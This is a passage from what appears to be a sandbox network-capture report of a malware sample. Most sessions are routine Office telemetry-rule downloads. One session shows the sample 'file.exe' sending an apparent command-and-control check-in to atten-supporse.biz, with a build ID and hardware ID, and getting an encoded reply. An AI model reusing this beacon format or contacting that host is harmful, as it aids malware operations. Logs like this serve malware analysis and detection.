2024-12-07 16:35:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:52 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163552Z-r1cf579d778d5zkmhC1EWRk6h800000003d0000000001816 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:52 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:52 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163552Z-r1cf579d778qlpkrhC1EWRpfc800000003e0000000008sp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:52 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163552Z-r1cf579d778t6txphC1EWRsd44000000037000000000aan5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49791	104.21.16.9	443	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-07 16:35:52 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 42 45 30 46 32 33 41 32 46 30 43 44 35 38 31 39 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=BE0F23A2F0CD5819D599DAF6C95D6029
2024-12-07 16:35:55 UTC	1039	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6n5u30ugbltaoojm74btvuhop7; expires=Wed, 02-Apr-2025 10:22:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EuyvRkY0j2pxx1lAb07oOKaDAoBz1Kf%2BfanJD076D3EaF8WqXxsNxOHfv%2BcmSZ5jL8XgMyVpD5gQr4YkxNu89I4GUwt2HFXDMLXHb6uCk2Uk%2FNwkpResOOjZuvtxCWwDyMZ9cNA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee5ee6ffd5742ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1578&rtt_var=602&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1803582&cwnd=211&unsent_bytes=0&cid=06dfc90746f8fbd2&ts=2555&x=0"
2024-12-07 16:35:55 UTC	214	IN	Data Raw: 64 30 0d 0a 70 44 38 58 69 31 70 50 64 61 4e 59 48 4a 46 36 6f 53 33 44 41 6b 38 46 75 6a 78 77 4f 55 35 37 42 44 51 2f 7a 69 6b 58 4c 78 72 2f 52 44 58 2b 65 48 56 58 79 79 78 6f 34 55 44 39 41 70 38 74 66 6a 32 50 45 6b 49 49 65 31 55 31 42 51 7a 67 47 43 46 7a 4e 63 74 5a 63 64 64 31 4b 78 44 46 64 6e 6e 70 48 34 4d 42 34 57 51 37 4a 34 41 4d 58 42 73 72 57 54 34 46 51 75 4a 53 4e 56 6f 34 6e 68 31 2f 2f 79 34 2f 54 2f 39 33 51 4c 35 4c 6d 52 6a 74 4d 48 34 77 6c 41 31 42 43 6d 42 4b 4d 6d 67 51 76 56 31 79 54 6e 66 34 45 47 58 71 4e 43 73 61 7a 6e 5a 35 36 52 2b 44 41 65 46 6b 4f 79 65 41 44 46 77 62 4b 31 6b 2b 42 45 4b 54 0d 0a Data Ascii: d0pD8Xi1pPdaNYHJF6oS3DAk8FujxwOU57BDQ/zikXLxr/RDX+eHVXyyxo4UD9Ap8tfj2PEkIIe1U1BQzgGCFzNctZcdd1KxDFdnnpH4MB4WQ7J4AMXBsrWT4FQuJSNVo4nh1//y4/T/93QL5LmRjtMH4wlA1BCmBKMmgQvV1yTnf4EGXqNCsaznZ56R+DAeFkOyeADFwbK1k+BEKT
2024-12-07 16:35:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:53 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:54 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163554Z-r1cf579d7788pwqzhC1EWRrpd8000000037000000000116z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:54 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:54 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:54 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163554Z-r1cf579d778t6txphC1EWRsd4400000003cg000000002td6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:54 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:54 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:54 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163554Z-r1cf579d778x776bhC1EWRdk8000000002t00000000085e9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:54 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:54 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:54 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163554Z-r1cf579d778x776bhC1EWRdk8000000002y00000000021fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:54 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:54 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:54 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163554Z-r1cf579d7789trgthC1EWRkkfc00000003m0000000002gc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:54 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:56 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:56 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163556Z-r1cf579d778z4wflhC1EWRa3h000000002vg0000000067xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:56 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:56 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:56 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ef8e0549-001e-0066-1d03-48561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163556Z-r1cf579d77898tqwhC1EWRf9q800000002xg000000004zqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:56 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:56 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:56 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 5b9ff148-a01e-000d-0606-48d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163556Z-r1cf579d7782ctslhC1EWRfbrw00000003bg000000003rx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
